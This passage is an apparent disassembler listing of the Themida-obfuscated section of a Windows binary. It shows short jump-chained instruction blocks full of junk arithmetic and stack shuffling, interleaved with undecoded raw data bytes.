loc_4FCBC4:				; CODE XREF: Themida_:0050221Ej
		sub	esp, 4
		jmp	loc_4FF87F
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0B95108E0h, 536819F6h, 0FFD00BE9h, 5BDE01FFh, 24348758h
		dd 2424895Ch, 372DE950h, 0C4810000h, 4,	2AF168h, 240C8900h
		dd 8D17C5B9h, 3E1C178h,	1E981h,	0C9810000h, 64AF0A19h
		dd 8E1CF181h, 0CB29A93Dh, 0E92434FFh, 25C6h, 0EE81C601h
		dd 4AC259C4h, 5AC268h, 243C8900h, 43A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FCC35:				; CODE XREF: Themida_:004FA29Bj
		add	esp, 4
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		dd 592434FFh, 4B62E9h, 1FCF8100h, 81224B58h, 0B00125C7h
		dd 5FF801DDh, 5C240487h, 0E92424D3h, 38C7h, 0D1E9D021h
		dd 4FFFFE4h, 4446E96Fh,	575E0000h, 52E9E789h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FCC7B:				; CODE XREF: Themida_:004FD520j
		pop	eax
		mov	dl, bh
		pop	ebx
		push	1E98h
		mov	[esp], eax
		mov	al, 25h
		or	dl, al
		pop	eax
		shl	dl, 1
		add	dl, 7Eh
		add	dl, 9Bh
		sub	al, 0A2h
		add	al, dl
		jmp	loc_501491
; ---------------------------------------------------------------------------
		db 57h,	68h, 55h
		dd 5F5E8A09h, 8108EFC1h, 0E634B9F7h, 0FCF8123h,	0F75EDE35h
		dd 0F5EF81D7h, 8168F351h, 5E731BC7h, 5FF8010Fh,	34B6E9h
		dd 0A4C18000h, 0E9C8285Bh, 0FFFFDB48h, 4245C01h, 0E92434FFh
		dd 0FFFFDDD1h, 815DEE29h, 0D8A9D3F6h, 3842C710h, 9D2DE7F4h
		dd 0FF387201h, 0E95E2434h, 5F7h, 53FBEF81h, 0EEE93CE1h
		dd 81FFFFF1h, 7FF344C6h, 5EF1017Dh, 4C181h, 0FF510000h
		dd 0E9042474h, 0FFFFE87Dh, 81E78957h, 4C7h, 4EF8100h, 87000000h
		dd 0E95C243Ch, 491Ch, 231AE981h, 0E6E92414h, 66FFFFC0h
		dd 5024048Bh, 405E089h,	83000000h, 48704E8h, 4895C24h
		dd 0E9E08924h, 2148h, 48B665Ch,	0E9565224h, 0FFFFB7CEh
		dd 0E985F680h, 0FFFF978Dh
; ---------------------------------------------------------------------------


loc_4FCD74:				; CODE XREF: Themida_:004FC48Ej
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 5C240C33h, 55E28952h, 4BDh, 5DEA0100h, 4BB53h
		dd 0DA010000h, 2414875Bh, 40BA525Ch, 81000000h,	0E76F8EC2h
		dd 0E9FA017Bh, 241h
; ---------------------------------------------------------------------------


loc_4FCDBC:				; CODE XREF: Themida_:004FE9C0j
		add	ebp, 39E81A4Bh
		jmp	loc_4FCA56
; ---------------------------------------------------------------------------
		db 81h
		dd 0CD50EDF5h, 0E9ED81E8h, 8127A523h, 1D0806F5h, 5DEF01E6h
		dd 8B243C87h, 0F7662424h, 0CA6866E9h, 14896624h, 9C506624h
		dd 0FFF250E9h, 0E9028FFFh, 0FFFF8F16h, 352A6866h, 3442E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FCE05:				; CODE XREF: Themida_:004F97EAj
		pop	ecx
		pop	edx
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_4FB390
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		sub	edi, 531C7D2Ch
		push	ecx
		mov	ecx, 2EA3286Bh
		jmp	loc_4F70CD
; ---------------------------------------------------------------------------
		db 0BDh, 0DBh, 5Bh
		dd 0DDF75506h, 2C14ED81h, 0C5811DAFh, 8DADB693h, 0E95DEA29h
		dd 0FFFFFCBDh, 414868h,	0B0D6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FCE5A:				; CODE XREF: Themida_:004F6F2Ej
		mov	[esp], ecx
		mov	ecx, 1C214D5h
		add	eax, 5DE06D24h
		add	eax, ecx
		sub	eax, 5DE06D24h
		jmp	loc_4F649A
; ---------------------------------------------------------------------------


loc_4FCE73:				; CODE XREF: Themida_:004FF1E1j
		mov	edi, ebx
		pop	ebx
		not	edi
		xor	edi, 9AA2AE4h
		and	edi, 573B02BDh
		jmp	loc_4FF374
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 40h
		dd 0FFA500E9h, 4B8FFh, 0AE90000h, 1000031h, 58BB05F8h
		dd 3C8B3E31h, 32E95624h, 81FFFF97h, 0BE020DC5h,	85E5810Ch
		dd 811A1B4Dh, 903B74EDh, 5DE829C1h, 0E9241C8Bh,	22ABh
		dd 0F60DB450h, 38F480DCh, 0F626C480h, 87F480DCh, 0E958E188h
		dd 492Fh
; ---------------------------------------------------------------------------


loc_4FCEE0:				; CODE XREF: Themida_:004FE0CEj
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_4F6987
; ---------------------------------------------------------------------------


loc_4FCEEC:				; CODE XREF: Themida_:004FA0E0j
		mov	edx, [esp]
		add	esp, 4
		add	ebx, edi
		mov	[ebx], edx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_4F7F69
; ---------------------------------------------------------------------------


loc_4FCF01:				; CODE XREF: Themida_:004F70BAj
		and	ecx, 69371AD8h
		push	3BAFh
		jmp	loc_4FADF1
; ---------------------------------------------------------------------------


loc_4FCF11:				; CODE XREF: Themida_:004F6402j
		mov	edx, 75126C45h
		xor	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 17790DFDh
		jmp	loc_4F8954
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 4EC8304h, 5609E9h, 5B6600h, 796859E8h, 89000052h
		dd 0EFB22414h, 4EC81h, 86E90000h, 89FFFFD1h, 4C681E6h
		dd 0E9000000h, 45E9h, 0FA30D9B2h, 0EEB4505Bh, 0FFAF1AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FCF79:				; CODE XREF: Themida_:004FB0E5j
		xor	ebp, [esp]
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_4F92D2
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 5202h
; ---------------------------------------------------------------------------


loc_4FCF90:				; CODE XREF: Themida_:00501A7Fj
		pop	esi
		add	esp, 4
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_4F9459
		push	dword ptr [edi+28h]
		mov	eax, [esp]
		jmp	loc_500A2A
; ---------------------------------------------------------------------------
		dw 6866h
		dd 68665925h, 54667E25h, 24048F66h, 37E95566h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_4FCFBF:				; CODE XREF: Themida_:004FDC94j
		push	ecx
		push	ebp
		push	2163BF2h
		pop	ebp
		xor	ebp, 4EA7697Eh
		xor	ebp, 4CB15288h
		mov	ecx, ebp
		pop	ebp
		sub	esi, 27EF24B3h
		add	esi, ecx
		add	esi, 27EF24B3h
		pop	ecx
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_4FA8DA
; ---------------------------------------------------------------------------


loc_4FCFF3:				; CODE XREF: Themida_:004F85E2j
		mov	ebx, 4
		jmp	loc_4F76A9
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9240489h, 15B5h, 5724048Fh, 4BFh, 246C8100h, 745E9404h
		dd 247C011Fh, 24448104h, 745E9404h, 505B5F1Fh, 0BB22DDB8h
		dd 0E9D0F779h, 0FFFFB804h, 0BA686659h, 14896670h, 0B2525124h
		dd 0D48850B8h, 48BE588h, 4C48124h, 8B000000h, 0A3E92414h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FD057:				; CODE XREF: Themida_:004FACE1j
		pop	ecx
		mov	edi, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_4FE29C
; ---------------------------------------------------------------------------
aB3WNsuSs	db 'ê}3>!W¿nsU&éS',0Dh,0
		align 10h
		dd 5B2414F7h, 7A9BE381h, 814B0C16h, 0B82BADE3h,	0B3F3811Eh
		dd 0E95E3D2Ch, 0FFFFBC46h, 0AA392D48h, 0D1E97FB4h, 81FFFFC9h
		dd 6A70DCEDh, 0BF575E30h, 4, 29E9FD01h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FD0BB:				; CODE XREF: Themida_:004FFF98j
		push	433F3607h
		mov	edx, [esp]
		jmp	loc_4FA752
; ---------------------------------------------------------------------------


loc_4FD0C8:				; CODE XREF: Themida_:004FB68Fj
		push	847h
		mov	[esp], eax
		jmp	loc_4FDBDC
; ---------------------------------------------------------------------------


loc_4FD0D5:				; CODE XREF: Themida_:004FCAF7j
		add	edi, 0E25F2196h
		add	ebx, edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		xor	ebx, 52AE1B2Eh
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5005FF
; ---------------------------------------------------------------------------
		db 29h,	0D0h, 0E9h
		dd 0FFFFD1F5h, 0EF81DFF7h, 86549D36h, 0FFB54FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FD111:				; CODE XREF: Themida_:004F8B31j
		xor	edx, [esp]
		mov	esp, [esp]
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	2C17h
		mov	[esp], ecx
		xchg	ebx, [esp]
		push	463Ah
		jmp	loc_500AB3
; ---------------------------------------------------------------------------
		db 1
		dd 5904244Ch, 5324148Bh, 0C381E389h, 4,	0FF9040E9h, 0F2814AFFh
		dd 57CD1A11h, 36F5F281h, 0B9516B49h, 0C8686839h, 0FFF8B7E9h
		dd 48B66FFh, 2C48324h, 84E95666h, 8B00001Bh, 0C483242Ch
		dd 55BE5604h, 296F8300h, 0EF815EF7h, 25490E34h,	0AE9C701h
		dd 29000036h, 0F75F243Ch, 67F781D7h, 0E9715A0Eh, 0FFFFCC24h
; ---------------------------------------------------------------------------


loc_4FD1A0:				; CODE XREF: Themida_:0050197Bj
		add	dl, 12h
		xor	dl, cl
		xor	cl, dl
		xor	dl, cl
		not	cl
		push	bx
		jmp	loc_4F9361
; ---------------------------------------------------------------------------


loc_4FD1B2:				; CODE XREF: Themida_:004FA6C7j
		push	ebx
		push	4705h
		jmp	loc_4FD9E5
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4C7h, 243C8700h, 0FFD8015Ch, 3DE92434h, 80FFFFB2h
		dd 53E91FE5h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FD1DF:				; CODE XREF: Themida_:004FA765j
		mov	dh, 10h
		or	dh, 0FBh
		inc	dh
		xor	dh, 7
		sub	ch, dh
		pop	edx
		add	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		add	bl, 7Ch
		add	bl, al
		sub	esp, 4
		jmp	loc_4F6E6F
; ---------------------------------------------------------------------------


loc_4FD207:				; CODE XREF: Themida_:004FADFCj
		sub	ecx, 0F5F09991h
		add	edx, 44293BE1h
		add	edx, ecx
		sub	edx, 44293BE1h
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_4FC04A
; ---------------------------------------------------------------------------
		dw 8F64h
		dd 8AE4E902h, 0C33FFFFh, 240C3124h, 0E9240C33h,	34E5h
; ---------------------------------------------------------------------------


loc_4FD23C:				; CODE XREF: Themida_:004F9794j
		push	ebx
		push	eax
		mov	eax, 62C06752h
		xor	eax, 770D3307h
		add	eax, 536D6D76h
		jmp	loc_4FDF22
; ---------------------------------------------------------------------------
		dw 0D3F7h
aBP8l		db 'Ëp8L',0
		dw 0C381h
		dd 0FC0664BEh, 81E68956h, 4C6h,	4EE8300h, 5C243487h, 0BA241489h
		dd 43E974FCh, 0FFFDF2E9h, 0E0CA81FFh, 0E902BB59h, 0FFFFEB71h
		dd 0C003E680h, 0CEFE07EEh, 37EE80h, 0E95A5AF3h,	0FFFFC818h
		dd 240C8B66h, 81E28952h, 4C2h, 0EBBD5500h, 0E96C2F4Ah
		dd 0FFFFB9E0h
; ---------------------------------------------------------------------------


loc_4FD2B4:				; CODE XREF: Themida_:004F8AD9j
		pop	ebp


loc_4FD2B5:				; CODE XREF: Themida_:004F9779j
					; Themida_:004FBADAj
		push	37Ah
		mov	[esp], edi
		push	eax
		jmp	loc_4F91FA
; ---------------------------------------------------------------------------


loc_4FD2C3:				; CODE XREF: Themida_:0050275Fj
		push	eax
		mov	eax, 5E243E90h
		jmp	loc_500785
; ---------------------------------------------------------------------------
		dw 3FE9h
		dd 89FFFF8Ah, 0B951241Ch, 53B67146h, 79D9C181h,	0F1812474h
		dd 55A0FC7h, 757EC981h,	0B8E915E5h, 83FFFFC8h, 0E95704C4h
		dd 4E49h, 0FF2434FFh, 83592434h, 545704C4h, 0C0E9505Fh
		dd 81FFFFF4h, 0A36231EAh, 22E1E956h, 1C890000h,	8BB6624h
		dd 0B378E90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FD326:				; CODE XREF: Themida_:004FFBFAj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4FBECD
; ---------------------------------------------------------------------------
		db 0B8h, 7Ah, 4Bh
		dd 35402CA1h, 2CA14B7Fh, 158C189h, 20559C8h, 50000000h
		dd 42474FFh, 37B6E958h,	0C2810000h, 5CAB5113h, 0A1E9C229h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FD363:				; CODE XREF: Themida_:004F753Aj
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, edx
		jmp	loc_4F708B
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0AE8CC859h, 815AD501h, 4EDh,	53DEE900h, 0C7810000h
		dd 4, 6804C783h, 394Dh,	0E9243C89h, 5157h
; ---------------------------------------------------------------------------


loc_4FD39C:				; CODE XREF: Themida_:004FE297j
		sub	eax, edi
		pop	edi
		mov	esi, eax
		jmp	loc_4F875A
; ---------------------------------------------------------------------------
		dw 8DBDh
		dd 0F716241Dh, 93CD81DDh, 81788971h, 81B8AC5h, 0E9EF896Fh
		dd 0FFFFE09Eh, 0E904C483h, 1CF0h, 90EBE955h, 34FFFFFFh
		dd 61685824h, 89000062h, 0E2892414h, 4C281h, 56560000h
		dd 0FFA3AFE9h, 59E304FFh, 0D8289C2Ch, 9E049C04h, 30C968h
		dd 0C7E1E900h, 148BFFFFh, 4C48124h, 0E9000000h,	15FEh
; ---------------------------------------------------------------------------


loc_4FD40C:				; CODE XREF: Themida_:004FBAFAj
		push	5D96h
		mov	[esp], ebx
		mov	ebx, 0FFFFFFFFh
		add	ebp, 1D265976h
		jmp	loc_4F6865
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 0D3F0BE6h, 94685650h, 5E374F04h,	2C93F681h
		dd 0F0894B85h, 685Eh, 0BBE90000h, 0AC000042h, 592C512Ch
		dd 5166D800h, 0E80059B5h, 68665966h, 8966790Eh,	51B22414h
		dd 2F12E9h, 0B7E95900h,	68000025h, 1EACh, 0FFCDF9E9h, 48B66FFh
		dd 0ED65E924h, 1433FFFFh, 24143124h, 8B241433h,	4302424h
		dd 35E99C24h, 66FFFFCFh, 6615F868h, 0C9E9E95Ah,	20C1FFFFh
		dd 0F9308107h, 0E93EC778h, 0FFFF9DE6h, 895EF531h, 47215DE8h
		dd 0F5E9581Ch, 89000007h, 0E189240Ch, 4EC81h, 1C890000h
		dd 46824h, 1C8B0000h, 4C48324h,	1F7CE9h, 81E18900h, 4C1h
		dd 4C18300h, 5C240C87h,	0FFC79DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FD4ED:				; CODE XREF: Themida_:00500001j
		pop	esp
		mov	[esp], ebp
		push	ecx
		mov	ecx, 68734B4Fh
		jmp	loc_5025AB
; ---------------------------------------------------------------------------


loc_4FD4FC:				; CODE XREF: Themida_:0050060Dj
		push	edx
		mov	dl, 0C2h
		mov	bl, dl
		pop	edx
		xor	al, bl
		pop	bx
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bh, 5Fh
		push	eax
		mov	al, 0A7h
		dec	al
		or	al, 64h
		and	al, 8Fh
		sub	al, 0B5h
		or	al, 0DCh
		add	al, 2Ch
		sub	bh, al
		jmp	loc_4FCC7B
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 42Dh, 24048700h, 8924248Bh, 0AC682404h, 89000022h
		dd 4832424h, 57580424h,	4BFh, 0A557E900h, 3C89FFFFh, 8ABF6624h
		dd 0D704E94Bh, 55BFFFFh, 0D93C20h, 202DC801h, 5900D93Ch
		dd 4EC8355h, 0BE243489h, 2D7D2B66h, 8101EE83h, 3B7D7FEEh
		dd 1B9512Bh, 29000000h,	0E95759CEh, 0FFFF92E1h,	0E924048Bh
		dd 0FFFFE1A4h
; ---------------------------------------------------------------------------


loc_4FD598:				; CODE XREF: Themida_:004F600Cj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shl	eax, cl
		sub	esp, 4
		mov	[esp], esi
		push	3068h
		jmp	loc_4F6F19
; ---------------------------------------------------------------------------
		db 89h
		dd 0D568242Ch, 0E9477976h, 0FFFFD34Dh, 1BFh, 5FF80100h
		dd 56D0F748h, 7A2AAEBEh, 5EF03123h, 4FCDE9h, 48B6600h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_4FE2A4
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 0FFB330E9h, 9DBBDFFh, 0ED810288h, 92B7A740h,	2C8BEB01h
		dd 4EC8124h, 0E9000000h, 32B6h,	8105EBC1h, 0A32DE5C3h
		dd 0ACA1E9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FD622:				; CODE XREF: Themida_:004FB47Dj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_4FFB41
; ---------------------------------------------------------------------------
		db 47h
		dd 3220EF81h, 0B9516CF7h, 0A7A90035h, 159CF01h,	0D0295FF8h
		dd 0A63C642Dh, 4D71E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FD652:				; CODE XREF: Themida_:004FC5D5j
		shr	ecx, 5
		xor	ecx, 5FB04BE0h
		dec	ecx
		jmp	loc_4FED6F
; ---------------------------------------------------------------------------


loc_4FD661:				; CODE XREF: Themida_:004FB1E6j
		mov	[esp], ebp
		push	ecx
		push	53B5377h
		pop	ecx
		xor	ecx, 1ACA7B10h
		mov	ebp, ecx
		pop	ecx
		xor	[esp+4], ebp
		mov	ebp, [esp]
		push	ebx
		push	esp
		jmp	loc_4F8E00
; ---------------------------------------------------------------------------


loc_4FD682:				; CODE XREF: Themida_:004F61E9j
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	eax
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		jmp	loc_4FFF8F
; ---------------------------------------------------------------------------
		db 81h
		dd 5C7CE5C5h, 2C875A12h, 24248B24h, 2302E9h, 0C4685800h
		dd 8900004Eh, 55E9240Ch, 0BB00000Bh, 0F151EFCDh, 0E95BD989h
		dd 0FFFF886Ah, 8904EC83h, 5D54242Ch, 4B951h, 0C5810000h
		dd 2E9C12CEh, 468CD01h,	89000045h, 56B9240Ch, 4167FB64h
		dd 96E9E1D1h, 8100002Dh, 4C5h, 4ED8100h, 0E9000000h, 1F1Fh
; ---------------------------------------------------------------------------


loc_4FD704:				; CODE XREF: Themida_:004FFFF1j
		push	edi
		mov	edi, 7A142AB1h
		jmp	loc_4F7FC1
; ---------------------------------------------------------------------------
		db 0BAh
		dd 1373150Ch, 0FFF54BE9h, 88D5F6FFh, 526659E8h,	0D0E9FDB2h
		dd 8100003Ch, 4C4h, 24148700h, 1E49E9h,	0C5815D00h, 7E6B59CAh
		dd 0F581454Dh, 0BA17731h, 0FFE40CE9h, 280904FFh, 0B36DE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FD752:				; CODE XREF: Themida_:00500DDFj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ecx
		mov	ecx, 55674CDCh
		shl	ecx, 1
		xor	ecx, 29A87AE6h
		jmp	loc_4F6E8C
; ---------------------------------------------------------------------------


loc_4FD76E:				; CODE XREF: Themida_:004FA75Dj
		not	edx
		jmp	loc_4F5F65
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 4
		dd 81000022h, 0D8C78FC6h, 5EF201A0h, 56B6BE56h,	0E6D12030h
		dd 1D1FE681h, 0B2E96881h, 8100001Ah, 4C4h, 0E1895100h
		dd 31CBE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FD7A6:				; CODE XREF: Themida_:004FB977j
		neg	eax
		jmp	loc_4FF6F9
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 52h
		dd 0FE034DBAh, 0B5CA8142h, 81486925h, 66569DCAh, 0CE6CE954h
		dd 5166FFFFh, 8544E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FD7CE:				; CODE XREF: Themida_:004F8FD1j
		pop	esp
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_4FBAD2
; ---------------------------------------------------------------------------
		db 4Fh,	81h, 0E7h
		dd 0FA13B62h, 15BBE9h, 0A6BB5300h, 8146F502h, 0C97D15CBh
		dd 0C1D3F77Eh, 0E3C108EBh, 4C38102h, 1FDFBF6h, 14875BDAh
		dd 24248B24h, 0FF8505E9h, 176BBFFh, 0DF292540h,	5FF8015Bh
		dd 5A2434FFh, 5304C483h, 0D5385BBBh, 0A1685257h, 5A03A0B9h
		dd 8904EC83h, 0A0BF243Ch, 0E93E841Fh, 0FFFFCD22h
; ---------------------------------------------------------------------------


loc_4FD83C:				; CODE XREF: Themida_:004FE3F8j
		push	esi
		mov	esi, 2
		sub	ebp, 2C5915AFh
		add	ebp, esi
		add	ebp, 2C5915AFh
		pop	esi
		jmp	loc_50177E
; ---------------------------------------------------------------------------
		dw 8956h
		dd 0D71EE9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FD85E:				; CODE XREF: Themida_:004FAB78j
		xor	[esp], ecx
		jmp	loc_4FAA82
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 49F7h, 4F17E942h, 4330000h, 16FAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FD87A:				; CODE XREF: Themida_:004F9769j
		push	eax
		mov	eax, 249A30A8h
		add	edx, eax
		jmp	loc_4F8239
; ---------------------------------------------------------------------------
		db 68h
		dd 30C90A67h, 0D3EA815Ah, 81402F13h, 1C2h, 0B9CDE900h
		dd 0CF01FFFFh, 0FFD2F7E9h, 7EE3BDFFh, 0DDF7793Dh, 440BED81h
		dd 0EF295975h, 2AC7815Dh, 0FD61A855h, 0A68h, 17DAE900h
		dd 0C4810000h, 4, 0E95E5456h, 0FFFFD9CCh, 8324048Bh, 0C48304C4h
		dd 40504h, 0A8E90000h, 31FFFF8Ch, 5E9D68C3h, 0C890000h
		dd 0DF10E924h, 0BD66FFFFh, 1660002h, 6602246Ch,	83242C8Bh
		dd 8F6602C4h, 7E92404h,	0C1000003h, 52E907EFh, 66FFFFE7h
		dd 8166FB29h, 66414BC3h, 192FC381h, 83243C8Bh, 556604C4h
		dd 90B3E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FD932:				; CODE XREF: Themida_:004F6D5Cj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_4F623A
; ---------------------------------------------------------------------------


loc_4FD941:				; CODE XREF: Themida_:00502784j
		add	ebp, 0FF76C8FFh
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4


loc_4FD95C:				; CODE XREF: Themida_:004F90F4j
		push	47Ch
		mov	[esp], ebx
		mov	eax, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_4F76BD
; ---------------------------------------------------------------------------


loc_4FD97A:				; CODE XREF: Themida_:00500229j
		xor	ebp, 9814259h
		jmp	loc_4FC792
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Ah, 0E9000000h, 4962h,	2BDB0559h, 0D8015938h
		dd 382BDB2Dh, 0D8295B59h, 0A9BE5657h, 8919487Ah, 0EB78E9F7h
		dd 0C281FFFFh, 2BD3F40Ch, 0E95AD689h, 0FFFF9839h
; ---------------------------------------------------------------------------


loc_4FD9C0:				; CODE XREF: Themida_:00500EF2j
		push	esi
		mov	esi, ecx
		mov	ebp, esi
		pop	esi
		jmp	loc_500073
; ---------------------------------------------------------------------------
		db 0B1h
		dd 59CB88A6h, 0D928FAB1h, 5B2434FFh, 0FFBEA9E9h, 24148BFFh
		dd 3432E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FD9E5:				; CODE XREF: Themida_:004FD1B8j
		mov	[esp], edx
		mov	edx, 55B06768h
		add	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	eax
		jmp	loc_4F6996
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aStsm7		db '$STéŒ7',0
		align 4


loc_4FDA0C:				; CODE XREF: Themida_:004FFBBDj
		pop	ebp
		pop	edi
		push	edx
		push	ebx
		mov	ebx, 255B0591h
		sub	ebx, 28EB7C45h
		add	ebx, 9F060B0h
		push	edi
		mov	edi, 65FE9FCh
		sub	ebx, edi
		pop	edi
		mov	edx, ebx
		pop	ebx
		add	edx, ebx
		jmp	loc_5025FC
; ---------------------------------------------------------------------------


loc_4FDA34:				; CODE XREF: Themida_:004FAADAj
		push	ebp
		mov	ebp, 30413E77h
		add	ecx, ebp
		jmp	loc_4FA3D8
; ---------------------------------------------------------------------------
		db 1, 0F8h, 5Fh
		dd 2BA52h, 23E90000h, 89000009h, 405E0h, 68520000h, 2C2F1EA6h
		dd 243DE95Ah, 1C310000h, 241C3324h, 5450535Ch, 3BB5358h
		dd 813ADA3Ah, 726E64CBh, 403BE925h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FDA7E:				; CODE XREF: Themida_:004FABF0j
		mov	[esp], ecx
		push	0CCAh
		jmp	loc_50198B
; ---------------------------------------------------------------------------
		align 4
		dd 805866E7h, 0FA306EF7h, 5AD0285Bh, 24148B66h,	2C483h
		dd 0B5B2E9D8h, 0C968FFFFh, 8900000Ah, 0BE562414h, 1B125EB8h
		dd 5581CE81h, 0DEF7718Bh, 6E87C681h, 0D6F704FAh, 4EC8353h
		dd 0B9240C89h, 1A92116h, 548AE181h, 0BB533003h,	29B9D50Bh
		dd 895BD929h, 0A8E959CBh, 66000035h, 2454F651h,	66596601h
		dd 3097B753h, 0F44BE9FDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FDAFA:				; CODE XREF: Themida_:004F7091j
		mov	[esp], edx
		push	ebp
		push	ebx
		mov	ebx, 38483185h
		dec	ebx
		sub	ebx, 38483184h
		push	ebx
		pop	ebp
		pop	ebx
		mov	edx, ebp
		pop	ebp
		add	edx, ebx
		jmp	loc_4FC31C
; ---------------------------------------------------------------------------


loc_4FDB18:				; CODE XREF: Themida_:004FEA61j
		add	ebx, 4
		push	edx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_4FEBC6
; ---------------------------------------------------------------------------


loc_4FDB2A:				; CODE XREF: Themida_:004FEFE8j
		pop	esi
		pop	dword ptr [esp]
		push	esi
		push	ebp
		pop	esi
		pop	ebp
		not	ebp
		xchg	ebp, esi
		jmp	loc_4F8A14
; ---------------------------------------------------------------------------
		db 35h
		dd 3ABF129Dh, 8158C309h, 0E972B0C3h, 61CB8146h,	81274928h
		dd 0A49D0EBh, 9B56E95Ah, 8953FFFFh, 4C381E3h, 81000000h
		dd 4C3h, 0D951E900h, 3C89FFFFh,	761E6824h, 8F540000h, 4812404h
		dd 424h, 2434FF00h, 0FFC8ACE9h,	0E9E389FFh, 0FFFFE95Ch
		dd 240C8B66h, 57585450h, 0F7130768h, 0E7815F57h, 1F1B1188h
		dd 4A87E9h, 0A5E95F00h,	5DFFFF89h, 1F13E9h, 65B75300h
		dd 0C780D7F6h, 0B4506601h, 0FEC5E96Fh, 0C683FFFFh, 24348704h
		dd 0E924248Bh, 20Bh, 0E958C688h, 0FFFFF88Fh
; ---------------------------------------------------------------------------


loc_4FDBDC:				; CODE XREF: Themida_:004FD0D0j
		push	74C561F6h
		pop	eax
		jmp	loc_4FFA85
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0E3895324h, 4C381h, 0EB830000h, 2277E904h
		dd 0C5810000h, 0E5B1F7Ch, 242C8759h, 0F624248Bh, 0B60F66F9h
		dd 47E3E9CCh, 0EC810000h, 2, 24148966h,	24D8BA66h, 63C28166h
		dd 0EAC16656h, 66426608h, 86BB6653h, 0C28166FFh, 1662F68h
		dd 0EA8166DAh, 5B662F68h, 24540166h, 148B6602h,	2C48324h
		dd 0FF80BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FDC55:				; CODE XREF: Themida_:00500082j
		and	ecx, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
